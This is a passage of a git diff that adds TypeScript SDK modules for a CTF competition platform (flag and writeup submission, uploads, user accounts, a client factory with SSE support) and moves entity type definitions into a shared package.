+ }, +}; +} + +export type SolveServiceApi = ReturnType; diff --git a/packages/sdk/src/api/service/submit.ts b/packages/sdk/src/api/service/submit.ts new file mode 100644 index 00000000..1765faec --- /dev/null +++ b/packages/sdk/src/api/service/submit.ts @@ -0,0 +1,64 @@ +import type { JeopardyChallengeSolves as ChallengeSolves } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { UniResponse } from "../../transport.js"; + +export function createSubmitServiceApi(http: FloatCTFHttpClient) { + return { + submit: async ({ + instance_id, + flag, + }: { + instance_id: string; + flag: string; + }): Promise> => { + const res = await http.post("/submit/flag", { + instance_id, + flag, + }); + return res.data; + }, + // #[derive(Debug, MultipartForm)] + // pub struct WriteupForm { + // #[multipart(limit = "1024MB")] + // writeup_pdf: TempFile, + // event_id: Text, + // team_id: Option>, + // } + submitWriteup: async ( + file: File, + event_id: string, + team_id?: string, + ): Promise> => { + const formData = new FormData(); + formData.append("writeup_pdf", file); + formData.append("event_id", event_id); + if (team_id) { + formData.append("team_id", team_id); + } + const res = await http.post("/submit/writeup", formData, { + headers: { + "Content-Type": "multipart/form-data", + }, + }); + return res.data; + }, + submitSingle: async ({ + event_id, + instance_id, + flag, + }: { + event_id: string; + instance_id: string; + flag: string; + }): Promise> => { + const res = await http.post("/submit/flag", { + event_id, + instance_id, + flag, + }); + return res.data; + }, +}; +} + +export type SubmitServiceApi = ReturnType; diff --git a/packages/sdk/src/api/service/uploads.ts b/packages/sdk/src/api/service/uploads.ts new file mode 100644 index 00000000..c7ea8ec1 --- /dev/null +++ b/packages/sdk/src/api/service/uploads.ts @@ -0,0 +1,29 @@ +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { UniResponse } from "../../transport.js"; + +export function createUploadsServiceApi(http: FloatCTFHttpClient) { + return { + upload_image: async (image_file: File): Promise> => { + const formData = new FormData(); + formData.append("image_file", image_file); + const res = await http.post("/uploads/image", formData, { + headers: { + "Content-Type": "multipart/form-data", + }, + }); + return res.data; + }, + upload_avatar: async (image_file: File): Promise> => { + const formData = new FormData(); + formData.append("image_file", image_file); + const res = await http.patch("/uploads/avatar", formData, { + headers: { + "Content-Type": "multipart/form-data", + }, + }); + return res.data; + }, +}; +} + +export type UploadsServiceApi = ReturnType; diff --git a/packages/sdk/src/api/service/users.ts b/packages/sdk/src/api/service/users.ts new file mode 100644 index 00000000..a84d3e7b --- /dev/null +++ b/packages/sdk/src/api/service/users.ts @@ -0,0 +1,78 @@ +import type { Users } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { UniResponse } from "../../transport.js"; + +export function createUserServiceApi(http: FloatCTFHttpClient) { + return { + getMe: async (): Promise> => { + const response = await http.get("/users/me"); + return response.data; + }, + patchMe: async (data: Partial): Promise> => { + const response = await http.patch("/users/me", data); + return response.data; + }, + login: async ({ + username, + password, + }: { + username: string; + password: string; + }): Promise> => { + const response = await http.post("/users/session", { + username, + password, + }); + return response.data; + }, + register: async ({ + username, + password, + nickname, + email, + }: { + username: string; + password: string; + nickname: string; + email: string; + }): Promise> => { + const response = await http.post("/users", { + username, + password, + nickname, + email, + }); + return response.data; + }, + resetPassword: async ({ + username, + email, + }: { + username?: string; + email?: string; + }): Promise> => { + const response = await http.post("/users/reset_password", { + username, + email, + }); + return response.data; + }, + reset: async ({ + token, + password, + confirmed_password, + }: { + token: string; + password: string; + confirmed_password: string; + }): Promise> => { + const response = await http.post(`/users/reset?token=${token}`, { + password, + confirmed_password, + }); + return response.data; + }, +}; +} + +export type UserServiceApi = ReturnType; diff --git a/packages/sdk/src/api/service/weapons.ts b/packages/sdk/src/api/service/weapons.ts new file mode 100644 index 00000000..33dddf8b --- /dev/null +++ b/packages/sdk/src/api/service/weapons.ts @@ -0,0 +1,16 @@ +import type { Weapons } from "../../entity/weapons.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createWeaponsServiceApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/weapons", { params }); + return res.data; + }, +}; +} + +export type WeaponsServiceApi = ReturnType; diff --git a/packages/sdk/src/client.ts b/packages/sdk/src/client.ts new file mode 100644 index 00000000..da81672c --- /dev/null +++ b/packages/sdk/src/client.ts @@ -0,0 +1,175 @@ +/** + * `createFloatCTFClient()` —— SDK 的唯一入口工厂。 + * + * 它做三件事: + * 1. 为**这个实例**建立两个 HTTP 传输(选手端 / 管理端:baseURL + Bearer 注入 + + * 错误归一化 + 401 回调) + * 2. 基于这两个 handle 构建按领域分组的 API 门面 + * (`service` / `admin` / `awd` / `awdp` / `sse`) + * 3. 返回一个**完全独立**的客户端对象 + * + * 前端负责注入"token 从哪来"和"401 干什么";SDK 负责其余全部传输机制。 + * + * ## 实例隔离 + * + * 不存在模块级共享绑定,也没有"当前客户端"。同一进程里可以同时创建任意多个客户端, + * 它们各自的 base URL、token 来源与错误回调互不影响,创建顺序也无关: + * + * ```ts + * const a = createFloatCTFClient({ baseUrl: "https://a.example/api", getUserToken: () => "A" }); + * const b = createFloatCTFClient({ baseUrl: "https://b.example/api", getUserToken: () => "B" }); + * + * await b.service.events.fetch(); // → b.example + "B" + * await a.service.events.fetch(); // → a.example + "A" + * ``` + */ + +import type { AxiosInstance } from "axios"; + +import { type AdminApi, type ServiceApi, createAdminApi, createServiceApi } from "./api/index.js"; +import { type AwdAdminApi, type AwdPlayerApi, createAwdAdminApi, createAwdPlayerApi } from "./api/awd.js"; +import { type AwdpAdminApi, type AwdpPlayerApi, createAwdpAdminApi, createAwdpPlayerApi } from "./api/awdp.js"; +import { type AwdpRunApi, createAwdpRunApi } from "./api/awdpRuns.js"; +import { + type ConnectSseOptions, + type SseConnection, + connectSse, +} from "./sse/connectSse.js"; +import { type SseEvent, type SseParser, createSseParser } from "./sse/parser.js"; +import { + type FloatCTFAuthScope, + type FloatCTFClientOptions, + type FloatCTFHttpClient, + createFloatCTFTransport, + resolveBaseUrls, +} from "./transport.js"; + +export type { + FloatCTFAuthScope, + FloatCTFClientOptions, + FloatCTFHttpClient, + FloatCTFRequestConfig, + FloatCTFTransport, + UnauthorizedContext, +} from "./transport.js"; + +export type { AdminApi, ServiceApi } from "./api/index.js"; +export type { AwdAdminApi, AwdPlayerApi } from "./api/awd.js"; +export type { AwdpAdminApi, AwdpPlayerApi } from "./api/awdp.js"; +export type { AwdpRunApi } from "./api/awdpRuns.js"; + +/** SSE 连接选项:`url` 可以是绝对地址,也可以是**相对本实例 base URL** 的路径。 */ +export type FloatCTFSseOptions = Omit & { + /** 相对路径(如 `/events//awd/stream`)或绝对 URL。 */ + url: string; + /** 覆盖默认 token 来源(默认:选手端用 `getUserToken`,管理端用 `getAdminToken`)。 */ + getToken?: () => string | null; +}; + +export interface FloatCTFClient { + /** 选手端 API base URL(权威值,等于请求真正发往的地址)。 */ + readonly baseUrl: string; + /** 管理端 API base URL(权威值)。 */ + readonly adminBaseUrl: string; + /** 底层 axios 实例(逃生舱:自定义拦截器/上传进度/流式响应)。 */ + readonly transport: { + readonly service: AxiosInstance; + readonly admin: AxiosInstance; + }; + /** 本实例的选手端 HTTP handle(领域模块的注入目标)。 */ + readonly serviceHttp: FloatCTFHttpClient; + /** 本实例的管理端 HTTP handle。 */ + readonly adminHttp: FloatCTFHttpClient; + /** 领域门面(全部绑定到本实例的 handle)。 */ + readonly service: ServiceApi; + readonly admin: AdminApi; + readonly awd: { + readonly player: AwdPlayerApi; + readonly admin: AwdAdminApi; + }; + readonly awdp: { + readonly player: AwdpPlayerApi; + readonly admin: AwdpAdminApi; + readonly runs: AwdpRunApi; + }; + /** 实时传输(fetch-based SSE,Bearer 走 Authorization 头)。 */ + readonly sse: { + /** 默认使用**本实例**的选手端 base URL 与 token 来源。 */ + connect(options: FloatCTFSseOptions): SseConnection; + /** 管理端 SSE(admin base URL + admin token)。 */ + connectAdmin(options: FloatCTFSseOptions): SseConnection; + createParser(): SseParser; + }; +} + +/** 把相对路径解析到指定 base URL 上(绝对 URL 原样返回)。 */ +export function resolveSseUrl(baseUrl: string, url: string): string { + if (/^[a-z][a-z0-9+.-]*:\/\//i.test(url)) { + return url; + } + const path = url.startsWith("/") ? url : `/${url}`; + return `${baseUrl.replace(/\/+$/, "")}${path}`; +} + +/** + * 创建 FloatCTF 客户端。 + * + * 返回的对象**完全独立**:不写入任何模块级状态。不需要"解绑"或测试用全局重置; + * 丢弃引用即可,其它客户端不受影响。 + */ +export function createFloatCTFClient( + options: FloatCTFClientOptions = {}, +): FloatCTFClient { + const { baseUrl, adminBaseUrl } = resolveBaseUrls(options); + + const serviceTransport = createFloatCTFTransport("user", options, baseUrl); + const adminTransport = createFloatCTFTransport("admin", options, adminBaseUrl); + + const serviceApi = createServiceApi(serviceTransport.http); + const adminApi = createAdminApi(adminTransport.http); + + const connect = ( + scope: FloatCTFAuthScope, + sseOptions: FloatCTFSseOptions, + ): SseConnection => { + const transport = scope === "user" ? serviceTransport : adminTransport; + const defaultToken = + scope === "user" + ? (): string | null => options.getUserToken?.() ?? null + : (): string | null => options.getAdminToken?.() ?? null; + return connectSse({ + ...sseOptions, + url: resolveSseUrl(transport.baseUrl, sseOptions.url), + getToken: sseOptions.getToken ?? defaultToken, + }); + }; + + return { + baseUrl, + adminBaseUrl, + transport: { + service: serviceTransport.instance, + admin: adminTransport.instance, + }, + serviceHttp: serviceTransport.http, + adminHttp: adminTransport.http, + service: serviceApi, + admin: adminApi, + awd: { + player: serviceApi.awd, + admin: adminApi.awd, + }, + awdp: { + player: createAwdpPlayerApi(serviceTransport.http), + admin: createAwdpAdminApi(adminTransport.http), + runs: createAwdpRunApi(serviceTransport.http), + }, + sse: { + connect: (sseOptions) => connect("user", sseOptions), + connectAdmin: (sseOptions) => connect("admin", sseOptions), + createParser: createSseParser, + }, + }; +} + +export type { SseConnection, SseEvent, SseParser, ConnectSseOptions }; diff --git a/apps/web/src/entity/announcements.ts b/packages/sdk/src/entity/announcements.ts similarity index 100% rename from apps/web/src/entity/announcements.ts rename to packages/sdk/src/entity/announcements.ts diff --git a/apps/web/src/entity/awd_event_gameboxes.ts b/packages/sdk/src/entity/awd_event_gameboxes.ts similarity index 100% rename from apps/web/src/entity/awd_event_gameboxes.ts rename to packages/sdk/src/entity/awd_event_gameboxes.ts diff --git a/apps/web/src/entity/awd_event_networks.ts b/packages/sdk/src/entity/awd_event_networks.ts similarity index 97% rename from apps/web/src/entity/awd_event_networks.ts rename to packages/sdk/src/entity/awd_event_networks.ts index f34f144a..d950905e 100644 --- a/apps/web/src/entity/awd_event_networks.ts +++ b/packages/sdk/src/entity/awd_event_networks.ts @@ -1,4 +1,4 @@ -import type { AwdNetworkAllocationMode } from './sea_orm_active_enums'; +import type { AwdNetworkAllocationMode } from './sea_orm_active_enums.js'; export type AwdEventNetworks = { id: string; diff --git a/apps/web/src/entity/awd_events.ts b/packages/sdk/src/entity/awd_events.ts similarity index 99% rename from apps/web/src/entity/awd_events.ts rename to packages/sdk/src/entity/awd_events.ts index 76c20e0e..80815394 100644 --- a/apps/web/src/entity/awd_events.ts +++ b/packages/sdk/src/entity/awd_events.ts @@ -1,4 +1,4 @@ -import type { AwdEventStatus, AwdPhase } from './sea_orm_active_enums'; +import type { AwdEventStatus, AwdPhase } from './sea_orm_active_enums.js'; export type AwdEvents = { id: string; diff --git a/apps/web/src/entity/awd_flag_issues.ts b/packages/sdk/src/entity/awd_flag_issues.ts similarity index 100% rename from apps/web/src/entity/awd_flag_issues.ts rename to packages/sdk/src/entity/awd_flag_issues.ts diff --git a/apps/web/src/entity/awd_flag_submissions.ts b/packages/sdk/src/entity/awd_flag_submissions.ts similarity index 100% rename from apps/web/src/entity/awd_flag_submissions.ts rename to packages/sdk/src/entity/awd_flag_submissions.ts diff --git a/apps/web/src/entity/awd_internal_token_rotations.ts b/packages/sdk/src/entity/awd_internal_token_rotations.ts similarity index 100% rename from apps/web/src/entity/awd_internal_token_rotations.ts rename to packages/sdk/src/entity/awd_internal_token_rotations.ts diff --git a/apps/web/src/entity/awd_judge_batches.ts b/packages/sdk/src/entity/awd_judge_batches.ts similarity index 100% rename from apps/web/src/entity/awd_judge_batches.ts rename to packages/sdk/src/entity/awd_judge_batches.ts diff --git a/apps/web/src/entity/awd_judge_tasks.ts b/packages/sdk/src/entity/awd_judge_tasks.ts similarity index 90% rename from apps/web/src/entity/awd_judge_tasks.ts rename to packages/sdk/src/entity/awd_judge_tasks.ts index 9c473f56..d59221b9 100644 --- a/apps/web/src/entity/awd_judge_tasks.ts +++ b/packages/sdk/src/entity/awd_judge_tasks.ts @@ -1,4 +1,4 @@ -import type { JudgeTaskStatus } from './sea_orm_active_enums'; +import type { JudgeTaskStatus } from './sea_orm_active_enums.js'; export type AwdJudgeTasks = { id: string; diff --git a/apps/web/src/entity/awd_network_allocations.ts b/packages/sdk/src/entity/awd_network_allocations.ts similarity index 95% rename from apps/web/src/entity/awd_network_allocations.ts rename to packages/sdk/src/entity/awd_network_allocations.ts index 69411f5a..7b6d396f 100644 --- a/apps/web/src/entity/awd_network_allocations.ts +++ b/packages/sdk/src/entity/awd_network_allocations.ts @@ -1,4 +1,4 @@ -import type { AwdNetworkAllocationKind } from './sea_orm_active_enums'; +import type { AwdNetworkAllocationKind } from './sea_orm_active_enums.js'; export type AwdNetworkAllocations = { id: string; diff --git a/apps/web/src/entity/awd_network_settings.ts b/packages/sdk/src/entity/awd_network_settings.ts similarity index 100% rename from apps/web/src/entity/awd_network_settings.ts rename to packages/sdk/src/entity/awd_network_settings.ts diff --git a/apps/web/src/entity/awd_orphan_resources.ts b/packages/sdk/src/entity/awd_orphan_resources.ts similarity index 100% rename from apps/web/src/entity/awd_orphan_resources.ts rename to packages/sdk/src/entity/awd_orphan_resources.ts diff --git a/apps/web/src/entity/awd_precheck_runs.ts b/packages/sdk/src/entity/awd_precheck_runs.ts similarity index 84% rename from apps/web/src/entity/awd_precheck_runs.ts rename to packages/sdk/src/entity/awd_precheck_runs.ts index 28f82c22..58bc51dd 100644 --- a/apps/web/src/entity/awd_precheck_runs.ts +++ b/packages/sdk/src/entity/awd_precheck_runs.ts @@ -1,4 +1,4 @@ -import type { PrecheckStatus } from './sea_orm_active_enums'; +import type { PrecheckStatus } from './sea_orm_active_enums.js'; export type AwdPrecheckRuns = { id: string; diff --git a/apps/web/src/entity/awd_reset_records.ts b/packages/sdk/src/entity/awd_reset_records.ts similarity index 91% rename from apps/web/src/entity/awd_reset_records.ts rename to packages/sdk/src/entity/awd_reset_records.ts index a5ba61a9..655f201e 100644 --- a/apps/web/src/entity/awd_reset_records.ts +++ b/packages/sdk/src/entity/awd_reset_records.ts @@ -12,4 +12,5 @@ export type AwdResetRecords = { completed_at?: string; error_msg?: string; created_at: string; + requested_by_admin?: string; }; diff --git a/apps/web/src/entity/awd_rounds.ts b/packages/sdk/src/entity/awd_rounds.ts similarity index 97% rename from apps/web/src/entity/awd_rounds.ts rename to packages/sdk/src/entity/awd_rounds.ts index b875dd75..49362e19 100644 --- a/apps/web/src/entity/awd_rounds.ts +++ b/packages/sdk/src/entity/awd_rounds.ts @@ -1,4 +1,4 @@ -import type { AwdPhase, RoundStatus } from './sea_orm_active_enums'; +import type { AwdPhase, RoundStatus } from './sea_orm_active_enums.js'; export type AwdRounds = { id: string; diff --git a/apps/web/src/entity/awd_runtime_resources.ts b/packages/sdk/src/entity/awd_runtime_resources.ts similarity index 100% rename from apps/web/src/entity/awd_runtime_resources.ts rename to packages/sdk/src/entity/awd_runtime_resources.ts diff --git a/apps/web/src/entity/awd_score_events.ts b/packages/sdk/src/entity/awd_score_events.ts similarity index 85% rename from apps/web/src/entity/awd_score_events.ts rename to packages/sdk/src/entity/awd_score_events.ts index 074bf190..1cc18827 100644 --- a/apps/web/src/entity/awd_score_events.ts +++ b/packages/sdk/src/entity/awd_score_events.ts @@ -1,4 +1,4 @@ -import type { ScoreEventType } from './sea_orm_active_enums'; +import type { ScoreEventType } from './sea_orm_active_enums.js'; export type AwdScoreEvents = { id: string; diff --git a/apps/web/src/entity/awd_team_bans.ts b/packages/sdk/src/entity/awd_team_bans.ts similarity index 84% rename from apps/web/src/entity/awd_team_bans.ts rename to packages/sdk/src/entity/awd_team_bans.ts index 6b02f108..5be35055 100644 --- a/apps/web/src/entity/awd_team_bans.ts +++ b/packages/sdk/src/entity/awd_team_bans.ts @@ -1,4 +1,4 @@ -import type { BanStatus } from './sea_orm_active_enums'; +import type { BanStatus } from './sea_orm_active_enums.js'; export type AwdTeamBans = { id: string; diff --git a/apps/web/src/entity/awd_team_networks.ts b/packages/sdk/src/entity/awd_team_networks.ts similarity index 100% rename from apps/web/src/entity/awd_team_networks.ts rename to packages/sdk/src/entity/awd_team_networks.ts diff --git a/apps/web/src/entity/awd_wireguard_peers.ts b/packages/sdk/src/entity/awd_wireguard_peers.ts similarity index 85% rename from apps/web/src/entity/awd_wireguard_peers.ts rename to packages/sdk/src/entity/awd_wireguard_peers.ts index bb3108ce..b28c2325 100644 --- a/apps/web/src/entity/awd_wireguard_peers.ts +++ b/packages/sdk/src/entity/awd_wireguard_peers.ts @@ -1,4 +1,4 @@ -import type { WgPeerStatus } from './sea_orm_active_enums'; +import type { WgPeerStatus } from './sea_orm_active_enums.js'; export type AwdWireguardPeers = { id: string; diff --git a/apps/web/src/entity/awdp_breaks.ts b/packages/sdk/src/entity/awdp_breaks.ts similarity index 100% rename from apps/web/src/entity/awdp_breaks.ts rename to packages/sdk/src/entity/awdp_breaks.ts diff --git a/apps/web/src/entity/awdp_evaluation_proofs.ts b/packages/sdk/src/entity/awdp_evaluation_proofs.ts similarity index 100% rename from apps/web/src/entity/awdp_evaluation_proofs.ts rename to packages/sdk/src/entity/awdp_evaluation_proofs.ts diff --git a/apps/web/src/entity/awdp_evaluations.ts b/packages/sdk/src/entity/awdp_evaluations.ts similarity index 95% rename from apps/web/src/entity/awdp_evaluations.ts rename to packages/sdk/src/entity/awdp_evaluations.ts index 736b062c..5de29792 100644 --- a/apps/web/src/entity/awdp_evaluations.ts +++ b/packages/sdk/src/entity/awdp_evaluations.ts @@ -1,4 +1,4 @@ -import type { AwdpEvaluationKind, AwdpEvaluationStatus } from './sea_orm_active_enums'; +import type { AwdpEvaluationKind, AwdpEvaluationStatus } from './sea_orm_active_enums.js'; export type AwdpEvaluations = { id: string; diff --git a/apps/web/src/entity/awdp_event_gameboxes.ts b/packages/sdk/src/entity/awdp_event_gameboxes.ts similarity index 100% rename from apps/web/src/entity/awdp_event_gameboxes.ts rename to packages/sdk/src/entity/awdp_event_gameboxes.ts diff --git a/apps/web/src/entity/awdp_event_networks.ts b/packages/sdk/src/entity/awdp_event_networks.ts similarity index 100% rename from apps/web/src/entity/awdp_event_networks.ts rename to packages/sdk/src/entity/awdp_event_networks.ts diff --git a/apps/web/src/entity/awdp_events.ts b/packages/sdk/src/entity/awdp_events.ts similarity index 100% rename from apps/web/src/entity/awdp_events.ts rename to packages/sdk/src/entity/awdp_events.ts diff --git a/apps/web/src/entity/awdp_fix_rounds.ts b/packages/sdk/src/entity/awdp_fix_rounds.ts similarity index 100% rename from apps/web/src/entity/awdp_fix_rounds.ts rename to packages/sdk/src/entity/awdp_fix_rounds.ts diff --git a/apps/web/src/entity/awdp_instances.ts b/packages/sdk/src/entity/awdp_instances.ts similarity index 100% rename from apps/web/src/entity/awdp_instances.ts rename to packages/sdk/src/entity/awdp_instances.ts diff --git a/apps/web/src/entity/awdp_patch_submissions.ts b/packages/sdk/src/entity/awdp_patch_submissions.ts similarity index 100% rename from apps/web/src/entity/awdp_patch_submissions.ts rename to packages/sdk/src/entity/awdp_patch_submissions.ts diff --git a/apps/web/src/entity/awdp_run_writeups.ts b/packages/sdk/src/entity/awdp_run_writeups.ts similarity index 100% rename from apps/web/src/entity/awdp_run_writeups.ts rename to packages/sdk/src/entity/awdp_run_writeups.ts diff --git a/apps/web/src/entity/awdp_runs.ts b/packages/sdk/src/entity/awdp_runs.ts similarity index 90% rename from apps/web/src/entity/awdp_runs.ts rename to packages/sdk/src/entity/awdp_runs.ts index 38813a17..d33c4889 100644 --- a/apps/web/src/entity/awdp_runs.ts +++ b/packages/sdk/src/entity/awdp_runs.ts @@ -1,4 +1,4 @@ -import type { AwdpPhase } from './sea_orm_active_enums'; +import type { AwdpPhase } from './sea_orm_active_enums.js'; export type AwdpRuns = { id: string; diff --git a/apps/web/src/entity/awdp_score_events.ts b/packages/sdk/src/entity/awdp_score_events.ts similarity index 100% rename from apps/web/src/entity/awdp_score_events.ts rename to packages/sdk/src/entity/awdp_score_events.ts diff --git a/apps/web/src/entity/challenge_set_items.ts b/packages/sdk/src/entity/challenge_set_items.ts similarity index 100% rename from apps/web/src/entity/challenge_set_items.ts rename to packages/sdk/src/entity/challenge_set_items.ts diff --git a/apps/web/src/entity/challenge_sets.ts b/packages/sdk/src/entity/challenge_sets.ts similarity index 100% rename from apps/web/src/entity/challenge_sets.ts rename to packages/sdk/src/entity/challenge_sets.ts diff --git a/apps/web/src/entity/challenge_writeup.ts b/packages/sdk/src/entity/challenge_writeup.ts similarity index 100% rename from apps/web/src/entity/challenge_writeup.ts rename to packages/sdk/src/entity/challenge_writeup.ts diff --git a/apps/web/src/entity/challenges.ts b/packages/sdk/src/entity/challenges.ts similarity index 100% rename from apps/web/src/entity/challenges.ts rename to packages/sdk/src/entity/challenges.ts diff --git a/apps/web/src/entity/discussion_comments.ts b/packages/sdk/src/entity/discussion_comments.ts similarity index 100% rename from apps/web/src/entity/discussion_comments.ts rename to packages/sdk/src/entity/discussion_comments.ts diff --git a/apps/web/src/entity/discussion_likes.ts b/packages/sdk/src/entity/discussion_likes.ts similarity index 100% rename from apps/web/src/entity/discussion_likes.ts rename to packages/sdk/src/entity/discussion_likes.ts diff --git a/apps/web/src/entity/discussions.ts b/packages/sdk/src/entity/discussions.ts similarity index 100% rename from apps/web/src/entity/discussions.ts rename to packages/sdk/src/entity/discussions.ts diff --git a/apps/web/src/entity/event_announcements.ts b/packages/sdk/src/entity/event_announcements.ts similarity index 100% rename from apps/web/src/entity/event_announcements.ts rename to packages/sdk/src/entity/event_announcements.ts diff --git a/apps/web/src/entity/event_challenge_instance.ts b/packages/sdk/src/entity/event_challenge_instance.ts similarity index 100% rename from apps/web/src/entity/event_challenge_instance.ts rename to packages/sdk/src/entity/event_challenge_instance.ts diff --git a/apps/web/src/entity/event_gamebox_instances.ts b/packages/sdk/src/entity/event_gamebox_instances.ts similarity index 83% rename from apps/web/src/entity/event_gamebox_instances.ts rename to packages/sdk/src/entity/event_gamebox_instances.ts index 08188b60..3d399f84 100644 --- a/apps/web/src/entity/event_gamebox_instances.ts +++ b/packages/sdk/src/entity/event_gamebox_instances.ts @@ -1,4 +1,4 @@ -import type { GameboxStatus } from './sea_orm_active_enums'; +import type { GameboxStatus } from './sea_orm_active_enums.js'; export type EventGameboxInstances = { id: string; diff --git a/apps/web/src/entity/event_instances.ts b/packages/sdk/src/entity/event_instances.ts similarity index 100% rename from apps/web/src/entity/event_instances.ts rename to packages/sdk/src/entity/event_instances.ts diff --git a/apps/web/src/entity/event_logs.ts b/packages/sdk/src/entity/event_logs.ts similarity index 92% rename from apps/web/src/entity/event_logs.ts rename to packages/sdk/src/entity/event_logs.ts index 0fc21a32..32cde7d6 100644 --- a/apps/web/src/entity/event_logs.ts +++ b/packages/sdk/src/entity/event_logs.ts @@ -1,4 +1,4 @@ -import type { EventFamily, EventPurpose, ParticipantMode } from './sea_orm_active_enums'; +import type { EventFamily, EventPurpose, ParticipantMode } from './sea_orm_active_enums.js'; export type EventLogs = { id: string; diff --git a/apps/web/src/entity/event_team_members.ts b/packages/sdk/src/entity/event_team_members.ts similarity index 97% rename from apps/web/src/entity/event_team_members.ts rename to packages/sdk/src/entity/event_team_members.ts index c794b1bf..4f7135df 100644 --- a/apps/web/src/entity/event_team_members.ts +++ b/packages/sdk/src/entity/event_team_members.ts @@ -1,4 +1,4 @@ -import type { EventTeamMemberRole } from './sea_orm_active_enums'; +import type { EventTeamMemberRole } from './sea_orm_active_enums.js'; export type EventTeamMembers = { event_id: string; diff --git a/apps/web/src/entity/event_teams.ts b/packages/sdk/src/entity/event_teams.ts similarity index 100% rename from apps/web/src/entity/event_teams.ts rename to packages/sdk/src/entity/event_teams.ts diff --git a/apps/web/src/entity/event_users.ts b/packages/sdk/src/entity/event_users.ts similarity index 100% rename from apps/web/src/entity/event_users.ts rename to packages/sdk/src/entity/event_users.ts diff --git a/apps/web/src/entity/event_writeup.ts b/packages/sdk/src/entity/event_writeup.ts similarity index 100% rename from apps/web/src/entity/event_writeup.ts rename to packages/sdk/src/entity/event_writeup.ts diff --git a/apps/web/src/entity/events.ts b/packages/sdk/src/entity/events.ts similarity index 93% rename from apps/web/src/entity/events.ts rename to packages/sdk/src/entity/events.ts index d5bef812..ca2b9dd7 100644 --- a/apps/web/src/entity/events.ts +++ b/packages/sdk/src/entity/events.ts @@ -1,4 +1,4 @@ -import type { EventFamily, EventPurpose, ParticipantMode } from './sea_orm_active_enums'; +import type { EventFamily, EventPurpose, ParticipantMode } from './sea_orm_active_enums.js'; export type Events = { id: string; diff --git a/apps/web/src/entity/gameboxes.ts b/packages/sdk/src/entity/gameboxes.ts similarity index 100% rename from apps/web/src/entity/gameboxes.ts rename to packages/sdk/src/entity/gameboxes.ts diff --git a/packages/sdk/src/entity/index.ts b/packages/sdk/src/entity/index.ts new file mode 100644 index 00000000..161f7a91 --- /dev/null +++ b/packages/sdk/src/entity/index.ts @@ -0,0 +1,60 @@ +export * from "./sea_orm_active_enums.js"; +export * from "./announcements.js"; +export * from "./awd_event_gameboxes.js"; +export * from "./awd_event_networks.js"; +export * from "./awd_events.js"; +export * from "./awd_flag_issues.js"; +export * from "./awd_flag_submissions.js"; +export * from "./awd_internal_token_rotations.js"; +export * from "./awd_judge_batches.js"; +export * from "./awd_judge_tasks.js"; +export * from "./awd_network_allocations.js"; +export * from "./awd_network_settings.js"; +export * from "./awd_orphan_resources.js"; +export * from "./awd_precheck_runs.js"; +export * from "./awd_reset_records.js"; +export * from "./awd_rounds.js"; +export * from "./awd_runtime_resources.js"; +export * from "./awd_score_events.js"; +export * from "./awd_team_bans.js"; +export * from "./awd_team_networks.js"; +export * from "./awd_wireguard_peers.js"; +export * from "./awdp_breaks.js"; +export * from "./awdp_evaluation_proofs.js"; +export * from "./awdp_evaluations.js"; +export * from "./awdp_event_gameboxes.js"; +export * from "./awdp_event_networks.js"; +export * from "./awdp_events.js"; +export * from "./awdp_fix_rounds.js"; +export * from "./awdp_instances.js"; +export * from "./awdp_patch_submissions.js"; +export * from "./awdp_run_writeups.js"; +export * from "./awdp_runs.js"; +export * from "./awdp_score_events.js"; +export * from "./challenge_set_items.js"; +export * from "./challenge_sets.js"; +export * from "./challenge_writeup.js"; +export * from "./challenges.js"; +export * from "./discussion_comments.js"; +export * from "./discussion_likes.js"; +export * from "./discussions.js"; +export * from "./event_announcements.js"; +export * from "./event_challenge_instance.js"; +export * from "./event_gamebox_instances.js"; +export * from "./event_instances.js"; +export * from "./event_logs.js"; +export * from "./event_team_members.js"; +export * from "./event_teams.js"; +export * from "./event_users.js"; +export * from "./event_writeup.js"; +export * from "./events.js"; +export * from "./gameboxes.js"; +export * from "./instance_endpoints.js"; +export * from "./jeopardy_challenge_solves.js"; +export * from "./jeopardy_event_challenges.js"; +export * from "./logs.js"; +export * from "./scheduled_tasks.js"; +export * from "./settings.js"; +export * from "./super_admin.js"; +export * from "./users.js"; +export * from "./weapons.js"; diff --git a/apps/web/src/entity/instance_endpoints.ts b/packages/sdk/src/entity/instance_endpoints.ts similarity index 100% rename from apps/web/src/entity/instance_endpoints.ts rename to packages/sdk/src/entity/instance_endpoints.ts diff --git a/apps/web/src/entity/jeopardy_challenge_solves.ts b/packages/sdk/src/entity/jeopardy_challenge_solves.ts similarity index 100% rename from apps/web/src/entity/jeopardy_challenge_solves.ts rename to packages/sdk/src/entity/jeopardy_challenge_solves.ts diff --git a/apps/web/src/entity/jeopardy_event_challenges.ts b/packages/sdk/src/entity/jeopardy_event_challenges.ts similarity index 100% rename from apps/web/src/entity/jeopardy_event_challenges.ts rename to packages/sdk/src/entity/jeopardy_event_challenges.ts diff --git a/apps/web/src/entity/logs.ts b/packages/sdk/src/entity/logs.ts similarity index 100% rename from apps/web/src/entity/logs.ts rename to packages/sdk/src/entity/logs.ts diff --git a/apps/web/src/entity/scheduled_tasks.ts b/packages/sdk/src/entity/scheduled_tasks.ts similarity index 100% rename from apps/web/src/entity/scheduled_tasks.ts rename to packages/sdk/src/entity/scheduled_tasks.ts diff --git a/apps/web/src/entity/sea_orm_active_enums.ts b/packages/sdk/src/entity/sea_orm_active_enums.ts similarity index 100% rename from apps/web/src/entity/sea_orm_active_enums.ts rename to packages/sdk/src/entity/sea_orm_active_enums.ts diff --git a/apps/web/src/entity/settings.ts b/packages/sdk/src/entity/settings.ts similarity index 71% rename from apps/web/src/entity/settings.ts rename to packages/sdk/src/entity/settings.ts index 5e385e74..a7ceab61 100644 --- a/apps/web/src/entity/settings.ts +++ b/packages/sdk/src/entity/settings.ts @@ -1,4 +1,4 @@ -import type { SettingValueType } from './sea_orm_active_enums'; +import type { SettingValueType } from './sea_orm_active_enums.js'; export type Settings = { id: string; diff --git a/apps/web/src/entity/super_admin.ts b/packages/sdk/src/entity/super_admin.ts similarity index 100% rename from apps/web/src/entity/super_admin.ts rename to packages/sdk/src/entity/super_admin.ts diff --git a/apps/web/src/entity/users.ts b/packages/sdk/src/entity/users.ts similarity index 100% rename from apps/web/src/entity/users.ts rename to packages/sdk/src/entity/users.ts diff --git 